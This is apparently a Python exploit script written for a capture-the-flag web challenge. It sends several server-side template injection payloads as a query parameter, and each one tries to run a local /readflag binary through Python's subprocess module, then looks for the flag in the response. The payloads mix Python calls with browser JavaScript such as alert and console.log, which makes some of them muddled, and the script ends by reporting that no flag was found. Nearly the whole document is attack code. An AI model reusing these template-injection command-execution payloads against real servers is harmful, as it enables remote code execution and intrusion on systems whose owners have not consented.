#!/usr/bin/env python3
"""
Final exploit attempt - inject JS to display flag
"""

import requests
import urllib3
import re

urllib3.disable_warnings()

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def exploit_with_js_injection():
    """Inject JavaScript that will execute our command and alert/log the result"""
    
    # Try to break out of the URL context and inject arbitrary JS
    payloads = [
        # Try to get the flag in an alert
        "{{=''; alert(__import__('subprocess').check_output(['/readflag']).decode()); ''}}",
        
        # Try to set it as a global variable we can access
        "{{=''; window.FLAG=__import__('subprocess').check_output(['/readflag']).decode(); ''}}",
        
        # Try to inject it into the DOM
        "{{=''; document.body.innerHTML += '<h1>' + __import__('subprocess').check_output(['/readflag']).decode() + '</h1>'; ''}}",
        
        # Try console.log
        "{{=''; console.log(__import__('subprocess').check_output(['/readflag']).decode()); ''}}",
    ]
    
    for payload in payloads:
        print(f"\n[>] Testing payload: {payload[:80]}...")
        
        response = requests.get(
            BASE_URL + "/welcome/default/index",
            params={"test": payload},
            verify=False,
            timeout=10
        )
        
        # Check for flag in response
        if "uoftctf{" in response.text:
            print("[!!!] FLAG FOUND!")
            flags = re.findall(r'uoftctf\{[^}]+\}', response.text)
            for flag in flags:
                print(f"\nFLAG: {flag}\n")
            return flag
        
        print(f"    Status: {response.status_code}, Length: {len(response.text)}")
    
    return None

if __name__ == "__main__":
    flag = exploit_with_js_injection()
    
    if not flag:
        print("\n[*] No flag found with JS injection.")
        print("[*] The SSTI is confirmed but output may need different extraction method.")
